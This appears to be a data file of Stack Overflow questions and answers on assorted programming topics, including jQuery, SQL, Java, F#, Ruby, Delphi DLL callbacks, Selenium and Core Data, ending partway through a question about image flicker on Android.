32053810	0	 <p>Your code does not call the replyBlock in the first if block (before the else). Might that be the code path that you see the error log for? </p>
14763233	0	 <p>If there is a <code>FOREIGN KEY</code> constraint from <code>activity</code> to <code>item</code> (and assuming that <code>user_id</code> is in table <code>activity</code>), then your query is equivalent to:</p> <pre><code>SELECT COUNT(*), COUNT(DISTINCT user_id) FROM activity WHERE item_id = 3839 AND created_at &gt;= DATE_SUB(NOW(), INTERVAL 30 DAY) ; </code></pre> <p>which should be more efficient as it has to get data from only one table or just one index. An index on <code>(item_id, created_at, user_id)</code> would be useful.</p>
10766037	0	Calling External function from within function - Javascript <p>I am using Phonegap and JQueryMobile to create a web application. I'm new to javascript and am having an issue.</p> <p>My issue is with calling a function I have in a file named "testscript.js", the function is called testFunc. The testscript.js containts only this:</p> <pre><code>function testFunc() { console.log("Yes I work"); } </code></pre> <p>Within my html page I have the following code:</p> <pre><code>&lt;script&gt; $('#pageListener').live('pageinit', function(event) { testFunc(); }); &lt;/script&gt; </code></pre> <p>The test function is found within my "testscript.js" which I am including with this line within the head tags:</p> <pre><code>&lt;script src="testscript.js"&gt;&lt;/script&gt; </code></pre> <p>The error I get is a "testFunc is not defined".</p> <p>I am assuming its some type of scope issue as I'm able to call other jquery functions such as:</p> <pre><code>alert("I work"); </code></pre> <p>and I am able to call my functions by sticking them within script tags in the html elsewhere.</p> <p>I've tried all sorts of ways of calling my function with no success, any help is appreciated!</p>
19447200	0	 <pre><code>public class Car { private String make; private String model; public Car(String make, String model) { this.make = make; this.model = model; } public void setMake (String str1) { make = str1; } public void setModel (String str2) { model = str2; } public String getMake() { return make; } public String getModel() { return model; } } public class PrintCars { public static void main(String []args) { Car cars[] = new Car[10]; // Assume you populate the array with Car objects here by code cars[0] = new Car("make1", "model1"); for (Car carObj : cars) { System.out.println(carObj.getmake()); System.out.println(carObj.getmodel()); } } } </code></pre>
27827463	0	 <p>On Windows at the command prompt run: <code>gradlew referencePdf --stacktrace</code> and that should tell you what happened. In my case, it was a heap size issue. I set an environment variable <code>set GRADLE_OPTS="-Xmx1024m"</code> then was able to build the pdf successfully.</p>
15445045	0	 <p>it's an array, not a string, so just give it the array of points:</p> <pre><code>... var points = []; $(this).children("input").each(function(index) { points[index] = $(this).val(); }); var plot1 = $.jqplot('chart1',[points]); </code></pre> <p>updated fiddle: <a href="http://jsfiddle.net/fdKRw/4/" rel="nofollow">http://jsfiddle.net/fdKRw/4/</a></p>
8850112	0	 <p>This can be done simply with the following to get the actual text value...</p> <pre><code>var value = $("[name='MyName'] option:selected").text(); </code></pre> <p>or this to get the option 'value' attribute...</p> <pre><code>var value = $("[name='MyName']").val(); </code></pre> <p>With the following html, the first will give you 'MyText', the second will give you 'MyValue'</p> <pre><code>&lt;select name="MyName"&gt; &lt;option value="MyValue" selected="selected"&gt;MyText&lt;/option&gt; &lt;/select&gt; </code></pre> <p><a href="http://jsfiddle.net/mQSYh/">Here is a working example</a></p>
17752366	0	element select validation error <p>I am confused as how to validate this strip of code in HTML5:</p> <pre><code>&lt;select onChange="window.open(this.options[this.selectedIndex].value,'_top')"&gt; &lt;option value=""&gt; Choose Your State or Jurisdiction &lt;/option&gt; &lt;option value="allaw.htm"&gt;Alabama &lt;/option&gt; &lt;option value="aklaw.htm"&gt;Alaska &lt;/option&gt; (and so on for all states) </code></pre> <p>Which gives me a dropdown box of all the states. The error I get in validation is "text not allowed in element select in this context"</p> <p>Could someone please point out how to validate this? Do I change the element select to something else? </p> <p>Thanks a lot!</p> <p>Gordon</p>
5398532	0	 <p>Strange. I use webview and an options menu, works fine. </p> <p>I don't extend WebView... I extend activity, then config the webview in the XML or add the webview to "content view". </p> <p>Do all the websettings and add my own chromeclient and viewclient to change the functionality of webview.</p> <p>I just switched from adding menus programmatically to using an XML descriptor. So I know it still works.</p> <p>I'm using SDK 7 (2.1.x)</p> <p>If you need to extend webview, post your reasons and some code and hopefully I can help.</p>
34502580	0	 <p>It is really hard to work with transformations if node will be transformed before cache. As workaround you can add transformed node to a group, then cache the group.</p> <pre><code>var text1 = new Konva.Text({ text:'Test', scale: {x:10,y:10}, x:10, y:10 }); group1.add(text1); group1.cache(); </code></pre> <p><a href="http://jsbin.com/fotano/edit?html,js,output" rel="nofollow">http://jsbin.com/fotano/edit?html,js,output</a></p>
27885585	0	 <p>This is a <em>one-to-one</em> translation to F#:</p> <pre class="lang-ml prettyprint-override"><code>type A() = let mutable _items = null member this.items with get() = if _items = null then _items &lt;- DAL.FetchFromDB() _items let a = A() let x = a.items // db access here let y = a.items </code></pre> <p>There are better (and shorter) ways to write equivalent code in F# using objects (see the other answer), but you don't need to create an object at all, you can simply define a function and as others already pointed out you can use the <code>lazy</code> keyword:</p> <pre class="lang-ml prettyprint-override"><code>let items = let v = lazy DAL.FetchFromDB() fun () -&gt; v.Value let x = items() // db access here let y = items() </code></pre> <p>or use the standard lazy value directly, I would prefer this because you are making explicit in the type of <code>items</code> that your value is lazy evaluated instead of hiding it behind a <em>magic</em> object property or function:</p> <pre class="lang-ml prettyprint-override"><code>let items = lazy DAL.FetchFromDB() let x = items.Value // db access here let y = items.Value </code></pre> <p>So now the type of <code>items</code> is <code>Lazy&lt;'List&lt;'T>></code> which is always telling you that the value will be lazy computed, apart from that in this case the code is actually shorter.</p>
533040	0	 <p>The two forms are equivalent.</p> <p>The recommended style is to use the braces for one line blocks and use the "do"-"end" for multiline blocks.</p> <p><strong>Edit:</strong> <a href="http://stackoverflow.com/users/36378/austin-ziegler/">Austin Ziegler</a> pointed out (in the comment below) that the two forms have difference precedence levels: Curly braces have higher precedence. Therefore, when calling a method without parenthesis a block enclosed in {} will bind to the last argument instead of the calling method. </p> <p>The following example was suggested by Austin:</p> <pre><code>def foo yield end puts foo { "hello" } puts foo do "hello" end </code></pre> <p>The first "puts" prints "hello": foo gets called returning "hello" which is the argument to puts.</p> <p>The second bails with an error:</p> <pre><code>in `foo': no block given </code></pre> <p>Since in this case the do-end block binds to the puts method.</p> <p>Thanks again to Austin for clearing this up.</p>
4543593	0	Is ther any tool to extract keywords from a English Text or Article In Java? <p><strong>I am trying to identify the type of the web site(In English) by machine.</strong> I try to download the homepage of the web iste, download html page, parsing and get the content of the web page. Such as here are some context from CNN.com. I try to get the keywords of the web page, mapping with my database. If the keywords include like news, breaking news. The web site will go to the news web sites. If there exist some words like healthy, medical, it will be the medical web site.</p> <p>There exist some tools can do the text segmentation, but it is not easy to find a tool do the semantic, such as <strong>online shopping</strong>, it is a keywords, should not spilt two words. The combination will be helpful information. But "oneline", "shopping" will be less useful as it may exist online travel...</p> <p>• Newark, JFK airports reopen • 1 runway reopens at LaGuardia Airport • Over 4,155 flights were cancelled Monday • FULL STORY</p> <pre><code>* LaGuardia Airport snowplows busy Video * Are you stranded? | Airport delays * Safety tips for winter weather * Frosty fun Video | Small dog, deep snow </code></pre> <p>Latest news</p> <pre><code>* Easter eggs used to smuggle cocaine * Salmonella forces cilantro, parsley recall * Obama's surprising verdict on Vick * Blue Note baritone Bernie Wilson dead * Busch aide to 911: She's not waking up * Girl, 15, last seen working at store in '90 * Teena Marie's death shocks fans * Terror network 'dismantled' in Morocco * Saudis: 'Militant' had al Qaeda ties * Ticker: Gov. blasts Obama 'birthers' * Game show goof is 800K mistakeVideo * Chopper saves calf on frozen pondVideo * Pickpocketing becomes hands-freeVideo * Chilean miners going to Disney World * Who's the most intriguing of 2010? * Natalie Portman is pregnant, engaged * 'Convert all gifts from aunt' CNNMoney * Who controls the thermostat at home? * This Just In: CNN's news blog </code></pre>
13159540	0	 <p>There's no such thing as internal/private methods in perl objects. Common practise is to start any methods which should not be used publicly with an underscore, but this is not enforced in any way. Also have a look at moose - it takes a lot of the hassle out of OO perl.</p> <p>With regards to your question the below shows how one module method can call another module method, with both having access to the object data. Again I woulds really recommend you use Moose!</p> <pre><code>sub publicSub{ my ( $self ) = @_; return $self-&gt;_privateSub(); } sub _privateSub{ my ( $self ) = @_; return $self-&gt;{name}; } </code></pre>
4695740	0	translate dutch sql data to english <p>i currently have a dutch sql 2005 database and would like to hopefully convert a good portion of it to english if possible. I have scoured google for options however im at a loss. Some sites are suggesting a wordlist database (from TT Solutions) however the most complete one that i could find is $2000. Anybody have any suggestions?</p>
38837424	0	Rails 4.2: datetime attribute not being saved <p>I'm using an attribute named <code>:subscription_active_untill</code> in my user table, its type is <code>datetime</code>, I'm trying to save a datetime stamp in it but it is not being saved. For example, executing current command in rails console</p> <pre><code>User.find(3).update(:subscription_active_untill =&gt; 1473363930) </code></pre> <p>it returns <code>true</code> in console but when I see the record using <code>User.find(3)</code> the <code>:subscription_active_untill</code> attribute is still <code>nill</code>. What could be the issue?</p> <p><strong>Note:</strong> I can update any other attribute of the same record without any issue, the problem is with this specific attribute.</p>
18022794	0	How to call jQuery function inside jquery tmpl? <p>This is my code:</p> <pre><code>&lt;script id="quotes" type="text/x-jquery-tmpl"&gt; {{each(i,market) Markets}} &lt;span style="margin-left:3px;"&gt;${market.Symbol}&lt;/span&gt;&amp;nbsp; &lt;span class="lastPrice"&gt;${market.CurrentQuote.LastPrice}&lt;/span&gt;&amp;nbsp; {{/each}} &lt;/script&gt; </code></pre> <p>What I want is to make LastPrice look like "3.00". I tried to use jquery's number function, but can't make it work. For example, if I do this:</p> <pre><code>$.number(${market.CurrentQuote.LastPrice}, 2) </code></pre> <p>it shows $.number(3, 2) instead of 3.00. If I do this,</p> <pre><code>${number($market.CurrentQuote.LastPrice, 2)} </code></pre> <p>it returns nothing.</p>
14511449	0	Understanding Core Data Queries(searching data for a unique attribute) <p>Since I am coming from those programmers who have used sqlite extensively, perhaps I am just having a hard time grasping how Core Data manages to-many relationships. </p> <p>For my game I have a simple database schema on paper. </p> <pre><code>Entity: Level - this will be the table that has all information about each game level Attributes: levelNumber(String), simply the level number : levelTime(String), the amount of time you have to finish the level(this time will vary with the different levels) : levelContent(String), a list of items for that level(and that level only) separated by commas : levelMapping(String), how the content is layed out(specific for a unique level) </code></pre> <p>So basically in core data i want to set up the database so i can say in my fetchRequest:</p> <blockquote> <p>Give me the levelTime, levelContent and levelMapping for Level 1.(or whatever level i want)</p> </blockquote> <p>How would i set up my relationships so that i can make this type of fetchRequest? Also I already have all the data ready and know what it is in advance. Is there any way to populate the entity and its attributes within XCode? </p>
38808629	0	 <p>First you must tried something :)</p> <p>Please check this links </p> <p><a href="http://stackoverflow.com/questions/19730598/right-to-left-support-for-twitter-bootstrap-3">Right to Left support for Twitter Bootstrap 3</a> </p> <p><a href="http://stackoverflow.com/questions/23336065/twitter-bootstrap-pull-right-and-pull-left-for-rtl-languages">Twitter Bootstrap pull-right and pull-left for RTL languages</a></p>
33894259	0	 <p>You need <code>GROUP_CONCAT/LISTAGG</code> equivalent in <code>SQL Server</code>. You can use <code>XML, STUFF and correlated subquery</code> as replacement.</p> <p>If <code>PRODUCT_ID</code> is <code>UNIQUE</code> you can use:</p> <pre><code>WITH cte AS ( SELECT PD.PRODUCT_ID, PD.PRODUCT_NAME, PD.BARCODE, PD.SUPPLIER_BARCODE, ODI.ORDER_ITEM_ID FROM PRODUCTS PD JOIN ORDER_ITEMS ODI ON PD.PRODUCT_ID = ODI.PRODUCT_ID WHERE ODI.SUPPLIER_ID = 34359738399 AND ORDER_STATUS = 6 AND ODI.RECORD_DELETED = 0 ) SELECT PRODUCT_ID, PRODUCT_NAME, BARCODE, SUPPLIER_BARCODE, [COUNTED] = COUNT(PD.PRODUCT_ID), [ORDER_ITEM_ID] = STUFF((SELECT CONCAT(',' , ORDER_ITEM_ID) FROM cte c2 WHERE c2.PRODUCT_ID = c1.PRODUCT_ID ORDER BY c2.ORDER_ITEM_ID FOR XML PATH ('')), 1, 1, '') FROM cte c1 GROUP BY PRODUCT_ID,PRODUCT_NAME,BARCODE,SUPPLIER_BARCODE HAVING COUNT(PRODUCT_ID) = 1 ORDER BY PRODUCT_ID ASC; </code></pre> <p><kbd><strong><a href="https://data.stackexchange.com/stackoverflow/query/397868" rel="nofollow"><code>LiveDemo_SimplifiedVersion</code></a></strong></kbd></p> <p>Otherwise correlate using multiple columns:</p> <pre><code>SELECT CONCAT(',' , ORDER_ITEM_ID) FROM cte c2 WHERE c2.PRODUCT_ID = c1.PRODUCT_ID AND c2.PRODUCT_NAME = c1.PRODUCT_NAME AND ... ORDER BY c2.ORDER_ITEM_ID FOR XML PATH ('')), 1, 1, '') </code></pre>
23745636	0	 <p>Function templates <a href="http://stackoverflow.com/a/22411782/2567683">mix weirdly with overloading</a>.</p> <p>A possible solution (not the unique) would be to use <code>enable_if</code> for the declaration of each function enalbing the second for pointer types and vise versa for the first</p> <pre><code>#include &lt;type_traits&gt; template &lt;class TO, class FROM&gt; FORCE_INLINE typename enable_if&lt;!is_pointer&lt;FROM&gt;::value, TO&gt;::type punning_cast(const FROM &amp;input) { ... } template &lt;class TO, class FROM&gt; FORCE_INLINE typename enable_if&lt;is_pointer&lt;FROM&gt;::value, TO&gt;::type punning_cast(const FROM input) { ... } </code></pre> <p>So an example of achieving the dissambiguation (between reference and pointer) would be <a href="http://ideone.com/xsbd55" rel="nofollow"><strong>this one</strong></a></p>
9593651	0	 <p>In most cases, you could have one RDS instance that all 3 ec2 instances connect to. If you have a very relational demanding database application, you can look into database replication.</p>
1295337	0	 <p>Eh.. probably not. They are different enough that you cant even Interface them.</p>
26404630	0	MySQL query with "not exists" takes too long <p>I have a table like this:</p> <p>u</p> <p>My query is </p> <pre><code>SELECT *, week (pdate,3) FROM pubmed where not exists (select 1 from screened where suser=86 and ssearch=pubmed.aid) order by pdate desc </code></pre> <p>Screened has only 30000 records, but the query takes several minutes. </p> <p>Pubmed.aid is the primary index.</p> <p>I think I have created all the indexes I can use. Any ideas?</p> <p>Thank you.</p>
23573074	0	Can I load all shipping methods automatically on the shopping cart page without selecting a country first? <p>Can I load all my shipping methods automatically on the shopping cart page without prior to selecting a country?</p> <p>By Magento default, you have to select your country where you want to ship your order to. Then you have to hit the button <strong>'Get a quote'</strong> for the '<strong>Estimate Shipping and Tax</strong>'. But I want to skip this step by showing all my shipping methods automatically as soon as you are on this page. </p> <p>Is it possible?</p>
10294907	0	 <p>There's no general "turn everything off" facility. You need to select what you want to turn off and do each individually, if that's actually possible...</p> <p>You can't disable animated zoom. This is the subject of a <a href="http://code.google.com/p/gmaps-api-issues/issues/detail?id=3033" rel="nofollow">long-standing enhancement request</a> which has been marked WontFix.</p> <p>There's no option to disable layer-switch fade. I don't think there's an enhancement request, either.</p> <p>Panning for InfoWindows is controlled by the <a href="https://developers.google.com/maps/documentation/javascript/reference#InfoWindowOptions" rel="nofollow"><code>disableAutoPan</code></a> option <em>for each InfoWindow</em>. You can set that option individually with <code>InfoWindow.setOptions()</code>.</p> <p>IE6 is <a href="https://developers.google.com/maps/faq#browsersupport" rel="nofollow">not a supported browser</a> for Version 3. If it works, it's a bonus.</p>
3806858	0	 <p>If a DLL needs to invoke behavior in the host application, then the host should provide a <em>callback function</em> to the DLL that the DLL stores and calls when appropriate.</p> <p>Your DLL exports a function that tells it to display the form, right? Add a couple of parameters to that function for the EXE to provide a pointer to a callback function. The callback function should accept at least one parameter, which should be of type <code>Pointer</code>. The caller (the EXE) will use that parameter as a <em>context parameter</em>, some way for it to be reminded why the DLL is calling the EXE's function. Your DLL will store the function pointer and the context pointer, and when it's time for the DLL to tell the EXE something, it will call that function and pass the context value back. The DLL won't do anything with the context value; it's just something to store and pass back to the EXE verbatim.</p> <p>The DLL's interface will look like this:</p> <pre><code>type TDllCallback = function(Context: Pointer): DWord; stdcall; function DisplayForm(Parent: HWnd; Callback: TDllCallback; Context: Pointer): DWord; stdcall; external Dll; </code></pre> <p>The EXE will define a callback function like this:</p> <pre><code>function CallbackFunction(Context: Pointer): DWord; stdcall; begin TMainForm(Context).DoSomething; Result := 0; end; </code></pre> <p>It will call the DLL function like this:</p> <pre><code>procedure TMainForm.DoDllTaskClick(Sender: TObject); begin DisplayForm(Handle, CallbackFunction, Pointer(Self)); end; </code></pre> <p>Notice how the signature of <code>CallbackFunction</code> matches the <code>TDllcallback</code> type defined earlier. Tey both use the stdcall calling convention, and they're both <em>standalone functions</em>, not methods. Avoid methods since method pointers are particular to Delphi, and you shouldn't require your DLL to be used only by Delphi hosts, if possible.</p>
37610094	0	 <p>You could use:</p> <pre><code>echo "&lt;pre&gt;"; var_dump($array); echo "&lt;/pre&gt;"; </code></pre> <p>This way you will get a nice preformatted result of var_dump.</p>
32241155	0	 <p>You don't import variables from a function to another. Functions are for returning values and variables, and you can always call a function to get its return value. For example:</p> <pre><code>def interest(amt): return amt * FIXED_INT def calc(debt, time): return debt * interest(debt) ** time </code></pre>
16596107	0	 <p>Aptana Studio 3 was the reason for such behavior. Obviously it set some eclipse settings which are conflicted with Zend Studio. Uninstalling Aptana and re-installing Zend Studio solved this issue.</p>
26011938	0	 <p>The important bit in the Oracle article you mention is the part titled - <strong>Supporting Multiple Clients</strong>.</p> <p>The basic Java socket API is a blocking API, which basically means you call a method and that method blocks until an IO event happens. If you need to wait for multiple IO events - in your case an incoming client connection and incoming data - you have to create multiple threads.</p> <p>The server shown in the article only accepts a single incomming (client) connection and will close once the client closes because the <code>InputStream</code> on the server will return <code>null</code> causing the loop to terminate.</p> <p>First your server needs to look something like this (which is simplified example):</p> <pre><code>try (ServerSocket serverSocket = new ServerSocket(portNumber)) { while (running) { Socket clientSocket = serverSocket.accept(); new Thread(new ClientHandler(clientSocket)).start(); } } </code></pre> <p><strong>Note:</strong> starting a thread for each client connection demonstrates the point but is a vast over simplification of managing the connection load on a server.</p> <p>The client code can remain as is.</p> <p>That's the basics that as I pointed out leaves the thread management in the developers hands - this often leads to trouble because people simply get it wrong. Because of this Java's socket APIs have been extended to create the <a href="http://en.wikipedia.org/wiki/Non-blocking_I/O_(Java)" rel="nofollow">NIO</a> API - Jakob Jenkov has written some good <a href="http://tutorials.jenkov.com/java-nio/index.html" rel="nofollow">tutorials</a>.</p> <p>It's also worth looking at <a href="http://netty.io/" rel="nofollow">Netty</a>, which personally I think is easier to use than <a href="http://en.wikipedia.org/wiki/Non-blocking_I/O_(Java)" rel="nofollow">NIO</a>.</p>
16506692	0	 <p>thanks to to the answer here</p> <p><a href="http://www.rohitab.com/discuss/topic/39969-hook-function-without-knowing-signature/" rel="nofollow">http://www.rohitab.com/discuss/topic/39969-hook-function-without-knowing-signature/</a></p> <blockquote> <p>I guess, you almost there with your code... you just need to make your trampoline function not >damaging the stack... firstly the function should be declared naked (without default prologue, in >studio I believe it would be something like __declspec(naked) or something)... secondly you need to >think about do you need to do something after the call to original function... if not, I think it is >better just to simply make a jmp instead of call (using inline assembler or something)... </p> </blockquote> <p>Here is my code. used vs2012 on windows 7 64bit but 32bit compile. simple win32 console app . hope it helps anyone else</p> <pre><code>#include "stdafx.h" void originalFunction(int x,int y,int z) { printf("running originalFunction with x=%d\n",x); } __declspec(naked) void trampolineFunction() { __asm jmp [originalFunction] } int _tmain(int argc, _TCHAR* argv[]) { ((void (*)(...))trampolineFunction)(7,8,9); getchar(); return 0; } </code></pre>
15307875	0	MVC3 and EF5: Including Child and GrandChild entities in the View <p>To make things simple, I have 3 entities (one to many, left to right):</p> <p>COURSE -> MODULE -> CHAPTER</p> <p>A course can have multiple modules and a module can have multiple chapters.</p> <p>All I have in the controller is this:</p> <pre><code>Course course = db.Courses.Find(id); return View(course); </code></pre> <p>I was trying to use an include but it doesn't seem to evaluate (this doesn't seem to work: <code>Course course = db.Courses.Include("Modules").Find(id);</code>)</p> <p>So I let it be. In my view, I have this nested List:</p> <pre><code>&lt;ul&gt; @foreach (var item in Model.Modules) { &lt;li&gt;@module.Title &lt;ul&gt; @foreach (var item in module.Chapters) { &lt;li&gt;@chapter.Title&lt;/li&gt; } &lt;/ul&gt; &lt;/li&gt; } &lt;/ul&gt; </code></pre> <p>Will this work automatically?</p> <p>Lastly, I applied a SortOrder column so I could arrange the child entities. I know that this should be done in the query, but how can I do this?</p> <p>Thanks! Any piece of information or advise would be highly appreciated.</p> <p><strong>UPDATE</strong></p> <p><strong>Course Class</strong></p> <pre><code>public partial class Course { public Course() { this.Modules = new HashSet&lt;Module&gt;(); this.Assets = new HashSet&lt;Asset&gt;(); } public int Id { get; set; } public string Name { get; set; } public string Description { get; set; } public string Author { get; set; } public System.DateTime CreateDate { get; set; } public bool IsDeleted { get; set; } public int IndustryId { get; set; } public virtual ICollection&lt;Module&gt; Modules { get; set; } public virtual ICollection&lt;Asset&gt; Assets { get; set; } public virtual Industry Industry { get; set; } } </code></pre> <p><strong>Module Class</strong></p> <pre><code>namespace RocketLabs.Models { using System; using System.Collections.Generic; public partial class Module { public Module() { this.Chapters = new HashSet&lt;Chapter&gt;(); this.Assets = new HashSet&lt;Asset&gt;(); } public int Id { get; set; } public string Title { get; set; } public System.DateTime CreateDate { get; set; } public int CourseId { get; set; } public bool IsDeleted { get; set; } public short SortOrder { get; set; } public virtual Course Course { get; set; } public virtual ICollection&lt;Chapter&gt; Chapters { get; set; } public virtual ICollection&lt;Asset&gt; Assets { get; set; } public virtual Exam Exam { get; set; } } } </code></pre> <p><strong>Chapter Class</strong></p> <pre><code>namespace RocketLabs.Models { using System; using System.Collections.Generic; public partial class Chapter { public Chapter() { this.Assets = new HashSet&lt;Asset&gt;(); } public int Id { get; set; } public string Title { get; set; } public int ModuleId { get; set; } public string Notes { get; set; } public short SortOrder { get; set; } public System.DateTime CreateDate { get; set; } public bool IsDeleted { get; set; } public virtual Module Module { get; set; } public virtual ICollection&lt;Asset&gt; Assets { get; set; } } } </code></pre>
31247229	0	Which version of swift compiler is the default Xcode 6.4? <p>I have some tests failing on a new machine with Xcode 6.4, with this error:</p> <pre><code>'NSDictionary' is not implicitly convertible to '[NSObject : AnyObject]'; did you mean to use 'as' to explicitly convert? </code></pre> <p>On my machine (still on a old Xcode 6.2) the test is ok. Unfortunately I can't upgrade my machine for the moment. </p> <p>Any suggestion on how can I achieve the same behaviour on both Xcode versions? I'm suspecting different Swift compilers are used, because that part of code isn't changed at all...</p> <p><strong>EDIT</strong>: Found the versions:</p> <ul> <li>Swift version 1.1 (swift-600.0.57.4) -> Xcode 6.2</li> <li>Apple Swift version 1.2 (swiftlang-602.0.53.1 clang-602.0.53) -> Xcode 6.4</li> </ul>
20985860	0	Extensions-like context menu in Chrome Apps (browser wide) <p>I have been practicing with Chrome extensions and apps and noticed <code>chrome.contextMenu</code> is not browser-wide for Chrome Apps. It only manages the context menu of the App background windows.</p> <p>Is there a way to create browser-wide context menus like extensions have? If there isn't any API in Apps, how can I also include an extension with my app so that users won't need to install two different things?</p> <p>Here is the project: <a href="https://github.com/metherealone/chorrent" rel="nofollow">https://github.com/metherealone/chorrent</a></p> <p>Obviously, I only need to catch magnet links and torrent files with the extension.</p>
10074904	0	Why I can't perform mouse move using Selenium WebDriver for C# and PageFactory in initialization <p>I have an link in HTML and I use Page Object pattern to write scripts with Selenium. But I can't perform MouseMove action when object is initialized with pageFactory. So, I have such class:</p> <pre><code>class BingPage { private readonly IWebDriver driver; public static readonly String BASE_URL = "http://bing.com/"; [FindsBy(How = How.XPath, Using = ".//*[@id='scpt2']/a[text()='Shopping']")] private IWebElement ShoopingLink; public BingPage(IWebDriver driver) { this.driver = driver; //Page Factory will use Driver to init searchButton and queryEdit objects PageFactory.InitElements(driver, this); } public void HoverShoppingLink() { Actions builder = new Actions(driver); IWebElement elem = driver.FindElement(By.XPath(".//*[@id='scpt2']/a[text()='Shopping']")); builder.MoveToElement(elem).Build().Perform();//This will work builder.MoveToElement(ShoopingLink).Build().Perform(); //This will fail } } </code></pre> <p>Line marked with comment "This will fail" will throw an exception "Must provide a location for a move action. Parameter name: actionTarget"</p> <p>But when I manually lookup element - it works. Could someone tell me why?</p> <p>It is selenium 2.0 for .Net, .Net 4.0 with IE driver.</p>
142503	0	 <p>Great Question! If I'm not mistaken I don't think debugging is possible inside of SQL Management Studio anymore (as it was back in the SQL Server 2000, Enterprise Studio days).</p> <h2>Instructions to Remote Debug MS SQL Stored Procedures within Visual Studio 2005</h2> <ol> <li>Launch Visual Studio (If you're running from Vista, <strong>Run As Administrator</strong>)</li> <li>Within Visual Studio 2005 click <strong>View->Server Explorer</strong>, which you'll notice brings up a panel with a <strong>Data Connections</strong> element.</li> <li>Right click on <strong>Data Connections</strong> and select <strong>Add Connection</strong></li> <li>Ensure the <strong>Data Source</strong> is set to <strong>SqlClient</strong>.</li> <li>Fill out the Server connection information, filling in the database name where the stored procedure that you wish to debug lives.</li> <li>Once a successful connection is made you'll notice the a tree for the database is populated that gives you the list of Tables, Views, Stored Procedures, Functions, etc.</li> <li>Expand <strong>Stored Procedures</strong>, finding the one you wish to debug and right click on it and select <strong>Step Into Stored Procedure</strong>. </li> <li>If the stored procedure has parameters a dialog will come up and you can specify what those parameters are.</li> <li>At this point, depending on your firewall settings and what not, you maybe be prompted to make modifications to your firewall to allow for the necessary ports to be opened up. However, Visual Studio seems to handle this for you.</li> <li>Once completed, Visual Studio should place you at the beginning of the stored procedure so you can starting the act of debugging!</li> </ol> <p>Happy Debugging!</p>
5176398	0	 <p>I have a project called <a href="http://yaam.codeplex.com/" rel="nofollow">Yaam on CodePlex</a> that uses C# to send data through the serial port. Check that out for an example. On the C# side (see Yaam\Yaam.xaml.cs), simply use the <code>SerialPort</code> class in the <code>System.IO.Ports</code> namespace. Once you instantiate the object and set the properties (baud rate, com port, etc), simply call<code>.Open()</code> . There are also plenty of other examples on the web. Take a look at these:</p> <ul> <li><a href="http://jtoee.com/2009/02/talking-to-an-arduino-from-net-c/" rel="nofollow">http://jtoee.com/2009/02/talking-to-an-arduino-from-net-c/</a></li> <li><a href="http://www.instructables.com/id/Interfacing-your-arduino-with-a-C-program/" rel="nofollow">http://www.instructables.com/id/Interfacing-your-arduino-with-a-C-program/</a></li> </ul>
3983544	0	Programatically set OnSelectedIndexChanged for a ddl <p>a minor question but it's driving me nuts. I'm programatically generating about 50 DDLs based on a database schema (i.e. item 1 can do a,b,c item 2 can do d, e, a, etc etc).</p> <p>If I was just writing the markup, I could specify:</p> <p>asp:DropDownList OnSelectedIndexChanged="funTimes"</p> <p>and be done with it, unfortunately, I'm just not sure how to set that programatically. I found a "SelectedIndexChanged" event, but I'm not sure what I need to return in terms of an event handler when all I want to do is set the method called. I realize I could write 50 methods:</p> <p>ddl1_SelectedIndexChanged() ddl2_SelectedIndexChanged() etc etc</p> <p>but that solution isn't terribly flexible, especially when I really only want the same method called. Is there a good way to accomplish what I'm trying to do here? Any input is greatly appreciated. Thanks.</p>
12182265	0	 <p>I don't think your problem is the OR operator, but the <a href="http://www.regular-expressions.info/repeat.html#greedy">greediness</a> of the <code>.*</code>. It will match your full string, and then <em>back</em>-track until the following expressions match. The first match in this backtracking process will be <code>'He said, "You're cool."' , 'Rawr</code>+<code>')</code>. Try <code>.*?</code> instead!</p>
40964811	0	 <p>Firstly, I agree with the previous answer that you should be using the strict equality operator. Secondly, you are using incorrect syntax - where you have data-bind should be ko, i.e.:</p> <pre><code>&lt;!-- ko if: header.current_collection.url_type === 'stories' --&gt; &lt;p&gt;text&lt;/p&gt; &lt;!-- /ko --&gt; </code></pre> <p>You can find the <a href="http://knockoutjs.com/documentation/if-binding.html" rel="nofollow noreferrer">knockout if binding docs here</a></p>
24800034	0	 <p>A very "dirty" solution would be to systematically check that the function's local environment is not changed after the "preamble". </p> <pre><code>fun &lt;- function(x) { a &lt;- x ls1 &lt;- ls() if (a&lt;0) { if (a &gt; -50) x &lt;- -1 else x &lt;- -2 } ls2 &lt;- ls() print(list(c(ls1,"ls1"),ls2)) if (!setequal(c(ls1,"ls1"), ls2)) stop("Something went terribly wrong!") return(x) } fun.typo &lt;- function(x) { a &lt;- x ls1 &lt;- ls() if (a&lt;0) { if (a &gt; -50) x &lt;- -1 else X &lt;- -2 } ls2 &lt;- ls() print(list(c(ls1,"ls1"),ls2)) if (!setequal(c(ls1,"ls1"), ls2)) stop("Something went terribly wrong!") return(x) } </code></pre> <p>With this "solution", <code>fun.typo(-60)</code> no longer silently gives a wrong answer...</p>
37061574	0	 <p><a href="https://sourceforge.net/p/jmstoolbox/wiki/Home/" rel="nofollow">JMSToolBox</a> is perfect for dealing with JMS Messages and works very well with WebSphere MQ</p>
35112750	0	Appcelerator ImageView, changing image on android blinks / flickers <p>I have 20 images which I cycle through to show a fitness exercise. When updating the image (i.e going from frame 1 to frame 2) the entire imageView blinks. This only happens on Android, on iOS it works fine. </p> <p>Here is a video of it happening <a href="https://youtu.be/-CufuQErQ58" rel="nofollow">https://youtu.be/-CufuQErQ58</a> This is on emulator but its also happening on all android devices i've tested on. </p> <p>I tried changing the imageView to just a view with a backgroundImage, and this works without blinking however it runs very slowly and uses a lot more memory and often crashes.</p> <pre><code>exports.imagesWindow = function(exercise, noOfImages) { var win = new SS.ui.win('landscape'); var imgCount = 0; var header = new SS.ui.view(win, '10%', '100%'); header.top = 0; header.visible = true; header.backgroundColor = SS.ui.colors[0]; var cueText = new SS.ui.normalLabel(header, "some text", 7); cueText.color = 'white'; //var imgLeft = new SS.ui.responsiveImage({container:win, top:'10%', left:'2%', height: '75%', width: '30%', zoom: 0.3}); //var imgCenter = new SS.ui.responsiveImage({container:win, top: '10%', left: '35%', height: '75%', width: '30%', zoom: 0.3}); //var imgRight = new SS.ui.responsiveImage({container:win, top:'10%', left: '68%', height:'75%', width:'30%', zoom: 0.3}); if (noOfImages === 3) { imgLeft = new ImagePanel(win, '17%'); imgCenter = new ImagePanel(win, '50%'); imgRight = new ImagePanel(win, '83%'); } else { imgLeft = new ImagePanel(win, '30%'); imgRight = new ImagePanel(win, '70%'); } function updateImages() { cueText.text = (eval(exercise + "Cues"))[imgCount]; instructionNumber.text 